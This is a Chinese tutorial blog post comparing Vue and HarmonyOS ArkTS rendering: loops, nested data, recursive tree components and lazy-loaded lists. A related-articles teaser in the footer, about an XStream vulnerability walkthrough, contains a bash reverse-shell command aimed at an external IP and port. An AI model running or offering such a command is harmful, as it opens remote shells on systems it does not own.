站在Vue的角度,對比鴻蒙開發中的遞歸渲染

第三類 引用數據的操作

引用數據類型 又叫復雜數類型, 典型的代表是對象和數組,而數組和對象往往又嵌套到到一起

普通數組和對象的使用

vue中使用for循環遍歷
<template><div>我是關于頁面<div v-for="item in arr">{{ item.id }}</div></div>
</template><script setup lang="ts">
import { ref } from "vue"let arr = ref([{id:1},{id:2},{id:3}])</script>

思考1: v-for循環的時候 ,不指定key,是否會報錯,我這里沒有寫,也沒有報錯,大家的項目為什么不寫就報錯!

? ? ? ? 2:v-for 和v-if的優先級 誰高誰低? (需要分版本,不然怎么回答都是錯的)

Harmony中使用ForEach循環遍歷
@Entry
@Component
struct MyString {@State  list:ESObject[] = [{id:1},{id:2},{id:2}];build() {Column() {ForEach(this.list,(item:ESObject)=>{Row(){Text(`${item.id}`)}})}.height('100%').width('100%')}
}

思考: ForEach中有幾個參數,分別表示什么意思

嵌套數組和對象的使用

vue中使用雙重for循環遍歷
<template><div>我是關于頁面<ul v-for="item in arr"><li><span>{{ item.id }}</span> <ul><li v-for="info in  item.list">{{ info.id }}</li></ul></li> </ul></div>
</template><script setup lang="ts">
import { ref } from "vue"let arr = ref([{ id: 1, list: [{ id: 1.1 }] }, { id: 2, list: [{ id: 2.1 }] }, { id: 3, list: [{ id: 3.1 }] }
])</script>

效果

Harmony中使用雙重ForEach處理
interface  ListModel{id:number,list?:ListModel[]
}
@Entry
@Component
struct MyString {@State  list: ListModel[]= [{id:1,list:[{id:1.1}]},{id:2,list:[{id:2.1}]},{id:3,list:[{id:3.1}]}];build() {Column() {ForEach(this.list,(item:ESObject)=>{Column(){Text(`${item.id}`)ForEach(item.list,(info:ListModel)=>{Column(){Text(""+info.id)}})}})}.height('100%').width('100%')}
}

效果

思考:數據類型為什么要這么設計??

遞歸組件的使用

vue中使用遞歸組件

先聲明一個組件(注意處理遞歸的出口)

<template><!-- 樹節點組件 --><div class="tree-node"><!-- 當前節點 --><div class="node-label" @click="toggleExpand":style="{ paddingLeft: depth * 20 + 'px' }"><span v-if="hasChildren" class="toggle-icon">{{ isExpanded ? '▼' : '?' }}</span>{{ node.name }}</div><!-- 遞歸渲染子節點 --><div v-show="isExpanded && hasChildren" class="children"><TreeNodev-for="child in node.children":key="child.id":node="child":depth="depth + 1"/></div></div>
</template><script setup>
import { ref, computed } from 'vue';const props = defineProps({node: {type: Object,required: true},depth: {type: Number,default: 0}
});// 控制展開/折疊狀態
const isExpanded = ref(props.depth === 0); // 默認展開第一級// 計算是否有子節點
const hasChildren = computed(() => {return props.node.children && props.node.children.length > 0;
});// 切換展開狀態
function toggleExpand() {if (hasChildren.value) {isExpanded.value = !isExpanded.value;}
}
</script><style scoped>
.tree-node {font-family: 'Segoe UI', sans-serif;cursor: pointer;user-select: none;
}.node-label {padding: 8px 12px;border-radius: 4px;transition: background-color 0.2s;
}.node-label:hover {background-color: #f0f7ff;
}.toggle-icon {display: inline-block;width: 20px;font-size: 12px;
}.children {margin-left: 8px;border-left: 1px dashed #e0e0e0;transition: all 0.3s;
}
</style>

父頁面中使用

<template><div class="tree-container"><TreeNode v-for="item in treeData" :key="item.id" :node="item" /></div>
</template><script setup>
import TreeNode from '../components/TreeNode.vue';
import  {ref} from "vue"// 樹形數據
const treeData = ref([{id: 1,name: '前端技術',children: [{id: 2,name: 'JavaScript',children: [{ id: 3, name: 'ES6 特性' },{ id: 4, name: '異步編程' }]},{id: 5,name: 'Vue.js',children: [{ id: 6, name: 'Vue 3 新特性' },{ id: 7, name: '高級用法',children: [{ id: 8, name: '遞歸組件' },{ id: 9, name: '渲染函數' }]}]}]},{id: 10,name: '后端技術',children: [{ id: 11, name: 'Node.js' },{ id: 12, name: 'Python' }]}
]);
</script><style>
.tree-container {max-width: 400px;margin: 20px;padding: 15px;border: 1px solid #eaeaea;border-radius: 8px;
}
</style>

效果

Harmony中使用遞歸組件
第一步聲明一個遞歸的數據格式(特別重要)
interface TreeNode {id: number;name: string;children?: TreeNode[];
}
第二步聲明組件
@Component
struct TreeNodeComponent {@Prop node: TreeNode;@Prop expand: boolean = false;build() {Column() {Row({ space: 5 }) {if (this.node.children && this.node.children.length > 0) {Image(this.expand ? $r('app.media.open') : $r('app.media.close')).width(20).height(20).onClick(() => {this.expand = !this.expand;});} else {Image($r('app.media.open')).width(20).height(20);}Text(this.node.name).fontSize(16).fontWeight(500).layoutWeight(1);}.width('100%').padding({ left: 10, right: 10, top: 5, bottom: 5 }).backgroundColor('#f5f5f5').borderRadius(5).margin({ bottom: 5 });if (this.node.children && this.node.children.length > 0 && this.expand) {ForEach(this.node.children, (childNode: TreeNode) => {TreeNodeComponent({ node: childNode });});}}.width('100%').padding({ left: 20 });}
}
第三步使用使用該組件

@Entry
@Component
struct TreeView {@State data: TreeNode[] = [{id: 1,name: '前端技術',children: [{id: 2,name: 'JavaScript',children: [{ id: 3, name: 'ES6 特性' },{ id: 4, name: '異步編程' }]},{id: 5,name: 'Vue.js',children: [{ id: 6, name: 'Vue 3 新特性' },{id: 7,name: '高級用法',children: [{ id: 8, name: '遞歸組件' },{ id: 9, name: '渲染函數' }]}]}]},{id: 10,name: '后端技術',children: [{ id: 11, name: 'Node.js' },{ id: 12, name: 'Python' }]}];build() {Column() {ForEach(this.data, (node: TreeNode) => {TreeNodeComponent({ node: node });});}.width('100%').height('100%').padding(20).backgroundColor('#ffffff');}
}

效果

列表懶加載

vue中使用滾動事件處理判斷使用
<template><div class="container"><header><h1>Vue 列表懶加載</h1><div class="subtitle">滾動到底部自動加載更多內容</div></header><div class="controls"><select v-model="pageSize"><option value="10">每頁 10 項</option><option value="20">每頁 20 項</option><option value="30">每頁 30 項</option></select><input type="number" v-model="scrollThreshold" min="50" max="500" step="50"><label>加載閾值(px)</label></div><div class="list-container" ref="listContainer" @scroll="handleScroll"><!-- 虛擬滾動容器 --><div class="virtual-list" :style="{ height: `${totalItems * itemHeight}px` }"><div v-for="item in visibleItems" :key="item.id"class="item":style="{ position: 'absolute', top: `${item.index * itemHeight}px`,width: 'calc(100% - 20px)'}"><div class="item-index">#{{ item.id }}</div><div class="item-content"><div class="item-title">項目 {{ item.id }} - {{ item.title }}</div><div class="item-description">{{ item.description }}</div></div></div></div><!-- 加載提示 --><div v-if="loading" class="loading"><div class="loader"></div><span>正在加載更多項目...</span></div><!-- 完成提示 --><div v-if="allLoaded" class="end-message">已加載全部 {{ totalItems }} 個項目</div></div><!-- 底部統計信息 --><div class="stats"><div>已加載項目: {{ items.length }} / {{ totalItems }}</div><div>可視項目: {{ visibleItems.length }}</div><div>滾動位置: {{ scrollPosition }}px</div></div><!-- 返回頂部按鈕 --><div class="scroll-top" @click="scrollToTop" v-show="scrollPosition > 500"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z"/></svg></div></div>
</template><script setup>
import { ref, computed, onMounted, watch } from 'vue';// 基礎數據
const items = ref([]);
const loading = ref(false);
const allLoaded = ref(false);
const scrollPosition = ref(0);
const listContainer = ref(null);
const totalItems = 200;
const pageSize = ref(20);
const scrollThreshold = ref(200);
const itemHeight = 100; // 每個項目的高度// 生成隨機項目數據
const generateItems = (start, count) => {const newItems = [];const titles = ["前端開發", "后端架構", "數據庫設計", "UI/UX設計", "移動應用", "DevOps", "測試案例", "項目管理"];const descriptions = ["這是一個重要的項目,需要仔細規劃和執行","創新性解決方案,改變了我們處理問題的方式","使用最新技術棧實現的高性能應用","用戶友好界面,提供無縫體驗","優化了工作流程,提高了團隊效率","解決了長期存在的技術難題","跨平臺兼容性優秀的實現方案","獲得了用戶高度評價的產品功能"];for (let i = start; i < start + count; i++) {newItems.push({id: i + 1,index: i,title: titles[Math.floor(Math.random() * titles.length)],description: descriptions[Math.floor(Math.random() * descriptions.length)]});}return newItems;
};// 加載初始數據
const loadInitialData = () => {items.value = generateItems(0, pageSize.value);
};// 加載更多數據
const loadMore = () => {if (loading.value || allLoaded.value) return;loading.value = true;// 模擬API請求延遲setTimeout(() => {const startIndex = items.value.length;const remaining = totalItems - startIndex;const count = Math.min(pageSize.value, remaining);items.value = [...items.value, ...generateItems(startIndex, count)];if (items.value.length >= totalItems) {allLoaded.value = true;}loading.value = false;}, 800);
};// 處理滾動事件
const handleScroll = () => {if (!listContainer.value) return;const container = listContainer.value;scrollPosition.value = container.scrollTop;// 距離底部還有 scrollThreshold 像素時加載const fromBottom = container.scrollHeight - container.scrollTop - container.clientHeight;if (fromBottom <= scrollThreshold.value) {loadMore();}
};// 計算可視區域的項目
const visibleItems = computed(() => {if (!listContainer.value) return [];const container = listContainer.value;const scrollTop = container.scrollTop;const visibleHeight = container.clientHeight;// 計算可視區域的起始和結束索引const startIndex = Math.max(0, Math.floor(scrollTop / itemHeight) - 5);const endIndex = Math.min(totalItems - 1, Math.ceil((scrollTop + visibleHeight) / itemHeight) + 5);return items.value.filter(item => item.index >= startIndex && item.index <= endIndex);
});// 滾動到頂部
const scrollToTop = () => {if (listContainer.value) {listContainer.value.scrollTo({top: 0,behavior: 'smooth'});}
};// 重置并重新加載
const resetList = () => {items.value = [];allLoaded.value = false;loadInitialData();scrollToTop();
};// 監聽pageSize變化
watch(pageSize, resetList);// 初始化
onMounted(() => {loadInitialData();
});
</script><style scoped>
* {margin: 0;padding: 0;box-sizing: border-box;
}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;
}.container {max-width: 800px;width: 100%;background: white;border-radius: 16px;box-shadow: 0 10px 30px rgba(0, 0, 0, 0.15);overflow: hidden;margin: 20px auto;
}header {background: #4a69bd;color: white;padding: 20px;text-align: center;
}h1 {font-size: 2.2rem;margin-bottom: 10px;
}.subtitle {opacity: 0.8;font-weight: 300;
}.controls {display: flex;gap: 15px;padding: 20px;background: #f1f5f9;border-bottom: 1px solid #e2e8f0;flex-wrap: wrap;align-items: center;
}.controls select, .controls input {padding: 10px 15px;border: 1px solid #cbd5e1;border-radius: 8px;background: white;font-size: 1rem;outline: none;
}.controls input {width: 100px;
}.list-container {height: 500px;overflow-y: auto;position: relative;border-bottom: 1px solid #e2e8f0;
}.virtual-list {position: relative;
}.item {padding: 20px;margin: 10px;background: white;border-radius: 10px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);transition: all 0.3s ease;display: flex;align-items: center;border-left: 4px solid #4a69bd;
}.item:hover {transform: translateY(-3px);box-shadow: 0 6px 12px rgba(0, 0, 0, 0.1);
}.item-index {font-size: 1.5rem;font-weight: bold;color: #4a69bd;min-width: 50px;
}.item-content {flex: 1;
}.item-title {font-size: 1.2rem;margin-bottom: 8px;color: #1e293b;
}.item-description {color: #64748b;line-height: 1.5;
}.loading {padding: 30px;text-align: center;color: #64748b;font-size: 1.1rem;display: flex;flex-direction: column;align-items: center;gap: 15px;
}.loader {display: inline-block;width: 40px;height: 40px;border: 4px solid rgba(74, 105, 189, 0.3);border-radius: 50%;border-top-color: #4a69bd;animation: spin 1s ease-in-out infinite;
}@keyframes spin {to { transform: rotate(360deg); }
}.end-message {padding: 30px;text-align: center;color: #94a3b8;font-style: italic;font-size: 1.1rem;
}.stats {padding: 15px 20px;background: #f1f5f9;color: #475569;display: flex;justify-content: space-between;flex-wrap: wrap;gap: 10px;
}.stats div {min-width: 150px;
}.scroll-top {position: fixed;bottom: 30px;right: 30px;width: 50px;height: 50px;background: #4a69bd;color: white;border-radius: 50%;display: flex;align-items: center;justify-content: center;cursor: pointer;box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);transition: all 0.3s ease;z-index: 100;
}.scroll-top:hover {background: #3d56a0;transform: translateY(-3px);
}.scroll-top svg {width: 24px;height: 24px;fill: white;
}/* 響應式設計 */
@media (max-width: 768px) {.container {margin: 10px;}.list-container {height: 400px;}.stats {flex-direction: column;gap: 5px;}.controls {flex-direction: column;align-items: flex-start;}.controls input {width: 100%;}
}@media (max-width: 480px) {h1 {font-size: 1.8rem;}.list-container {height: 350px;}.item {padding: 15px;flex-direction: column;align-items: flex-start;}.item-index {margin-bottom: 10px;}
}
</style>

需要的地方使用

<template><div><LazyLoadedList /></div>
</template><script setup>
import LazyLoadedList from '../components/LazyList.vue';
</script>

效果

Harmony中使用LazyForEach
class BasicDataSource implements IDataSource {private listeners: DataChangeListener[] = [];private originDataArray: StringData[] = [];public totalCount(): number {return 0;}public getData(index: number): StringData {return this.originDataArray[index];}registerDataChangeListener(listener: DataChangeListener): void {if (this.listeners.indexOf(listener) < 0) {console.info('add listener');this.listeners.push(listener);}}unregisterDataChangeListener(listener: DataChangeListener): void {const pos = this.listeners.indexOf(listener);if (pos >= 0) {console.info('remove listener');this.listeners.splice(pos, 1);}}notifyDataReload(): void {this.listeners.forEach(listener => {listener.onDataReloaded();})}notifyDataAdd(index: number): void {this.listeners.forEach(listener => {listener.onDataAdd(index);})}notifyDataChange(index: number): void {this.listeners.forEach(listener => {listener.onDataChange(index);})}notifyDataDelete(index: number): void {this.listeners.forEach(listener => {listener.onDataDelete(index);})}notifyDataMove(from: number, to: number): void {this.listeners.forEach(listener => {listener.onDataMove(from, to);})}
}class MyDataSource extends BasicDataSource {private dataArray: StringData[] = [];public totalCount(): number {return this.dataArray.length;}public getData(index: number): StringData {return this.dataArray[index];}public addData(index: number, data: StringData): void {this.dataArray.splice(index, 0, data);this.notifyDataAdd(index);}public pushData(data: StringData): void {this.dataArray.push(data);this.notifyDataAdd(this.dataArray.length - 1);}public reloadData(): void {this.notifyDataReload();}
}class StringData {message: string;imgSrc: Resource;constructor(message: string, imgSrc: Resource) {this.message = message;this.imgSrc = imgSrc;}
}@Entry
@Component
struct MyComponent {private data: MyDataSource = new MyDataSource();aboutToAppear() {for (let i = 0; i <= 9; i++) {// 此處'app.media.icon'僅作示例,請開發者自行替換,否則imageSource創建失敗會導致后續無法正常執行。this.data.pushData(new StringData(`Click to add ${i}`, $r('app.media.icon')));}}build() {List({ space: 3 }) {LazyForEach(this.data, (item: StringData, index: number) => {ListItem() {Column() {Text(item.message).fontSize(20).onAppear(() => {console.info("text appear:" + item.message);})Image(item.imgSrc).width(100).height(100).onAppear(() => {console.info("image appear");})}.margin({ left: 10, right: 10 })}.onClick(() => {item.message += '0';this.data.reloadData();})}, (item: StringData, index: number) => JSON.stringify(item))}.cachedCount(5)}
}

?使用原理:LazyForEach從數據源中按需迭代數據,并在每次迭代時創建相應組件。當在滾動容器中使用了LazyForEach,框架會根據滾動容器可視區域按需創建組件,當組件滑出可視區域外時,框架會銷毀并回收組件以降低內存占用。

總結

本文介紹了引用數據類型(對象和數組)在不同框架中的操作方式。在Vue中,通過v-for循環遍歷數組和嵌套對象,討論了key屬性的重要性及v-for與v-if的優先級問題。在Harmony中,使用ForEach處理類似數據結構,并詳細說明了參數含義。文章還展示了遞歸組件的實現,包括Vue的樹形組件和Harmony的遞歸組件定義。最后,對比了兩種框架下的列表懶加載實現:Vue通過滾動事件處理,Harmony使用LazyForEach和DataSource機制。這些示例展示了不同框架對復雜數據結構的處理方式及其特有的語法

鴻蒙學習班級

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95219.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95219.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95219.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

VBS 流程控制

一. if else 和 selec case 1. if end if Dim a a2If a0 ThenMsgBox "這里是0"End if 2. if else end if Dim a a2If a0 ThenMsgBox "這里是0"Else MsgBox "這里是2" 彈窗“這里是2”End if 3. if -----elseif-------else-------end…

HCIP項目之OSPF綜合實驗

一、項目背景隨著企業分支機構地理分散化&#xff0c;跨地域網絡互聯需求激增。MGRE&#xff08;多點 GRE&#xff09;技術因適應動態拓撲、降低鏈路成本&#xff0c;成為多分支互聯的常用方案&#xff1b;OSPF 作為鏈路狀態路由協議&#xff0c;適用于大型網絡且支持可變長子網…

class and enmu class

傳統枚舉與作用域污染及enum class的詳細介紹在編程中&#xff0c;枚舉&#xff08;enum&#xff09;是一種常見的特性&#xff0c;用于定義一組命名的常量。傳統枚舉&#xff08;如C中的enum&#xff09;雖然簡單易用&#xff0c;但容易導致作用域污染問題。而enum class&…

Numpy科學計算與數據分析:Numpy數組屬性入門之形狀、維度與大小

Numpy數組屬性探索 學習目標 通過本課程的學習&#xff0c;學員將掌握Numpy數組的基本屬性&#xff0c;如形狀&#xff08;shape&#xff09;、維度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能夠通過實際操作加深對這些屬性的理解。 相…

IF 33.3+ 通過多區域單細胞測序解析肺腺癌的空間和細胞結構

通過多區域單細胞測序解析肺腺癌的空間和細胞結構摘要對于肺腺癌演進過程中單個細胞群的地理空間架構知之甚少。在此&#xff0c;我們對來自5例早期LUAD和14個來自腫瘤的具有明確空間鄰近性的多區域正常肺組織的186&#xff0c;916個細胞進行了單細胞RNA測序。我們發現細胞譜系…

【Redis的安裝與配置】

一&#xff1a;下載 Redis ? 百度網盤分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ? 從Github下載 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安裝 Redis 1?? 將下載的壓縮包文件 解壓到 某個文…

TDSQL GTS文件說明

基于時間點恢復&#xff1a;全備xlogGTS文件 在TDSQL的備份恢復體系中&#xff0c;GTS文件是全局時間戳&#xff08;Global Timestamp&#xff09;的存儲載體&#xff0c;用于記錄事務在分布式環境中的精確執行順序和時間點 其核心作用體現在以下方面&#xff1a; 1?。時間基準…

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析 全星研發項目管理APQP軟件系統是專為汽車零部件行業打造的數字化研發管理平臺&#xff0c;通過深度集成行業核心工具鏈&#xff0c;實現從產品設計到量產的全程可控。以下為該系統在汽車零部件行業的應用解析&#xf…

網絡通信安全:HTTPS協議的密碼學基石

引言&#xff1a;從HTTP到HTTPS的安全升級 在網絡通信中&#xff0c;數據傳輸的安全性至關重要。早期的HTTP協議采用明文傳輸&#xff0c;存在三大安全隱患&#xff1a; 機密性問題&#xff1a;數據在傳輸過程中可能被竊聽&#xff08;如公共Wi-Fi中的監聽&#xff09;&#xf…

pip 和 conda,到底用哪個安裝?

為什么 pip 有時裝不下來而 --prefer-binary 可以&#xff1f;什么是源代碼發行版&#xff1f;什么是輪子&#xff1f;conda 和 pip 有什么區別&#xff1f;優先用誰啊&#xff1f;兩者適合的場景&#xff08;何時用哪個&#xff09;安裝路徑&#xff1a;pip / conda 分別裝到哪…

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding&#xff0c;而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM&#xff0c;所以每個詞其實會有正向和反向兩個預測結果&#xff0c;那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面&#xff0c;校招&#xff0c;問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個&#xff1f;5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日&#xff0c;中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通&#xff0c;成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好&#xff01;今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優&#xff08;即最有利&#xff09;的選擇&#xff0c;從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天&#xff0c;今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中&#xff0c;Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型&#xff1a; sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide緩存策略和緩存命中

一 緩存策略 1 Glide 的 diskCacheStrategy() 一共有 5 種枚舉值&#xff08;DiskCacheStrategy&#xff09;&#xff0c;每種的作用和區別如下&#xff1a;1. DiskCacheStrategy.ALL 作用&#xff1a;同時緩存原始圖片&#xff08;原圖數據&#xff09;和經過變換&#xff08;…

如何將PDF文檔進行高效編輯處理!

PDF文件可以在任何設備上以相同的格式查看&#xff0c;無論操作系統或軟件環境如何&#xff0c;可以確保修改后的文檔仍然保持原有的布局和格式。它完全免費&#xff0c;下載后雙擊即可運行&#xff0c;無需安裝&#xff0c;使用非常方便。它具備出色的文本編輯功能&#xff0c…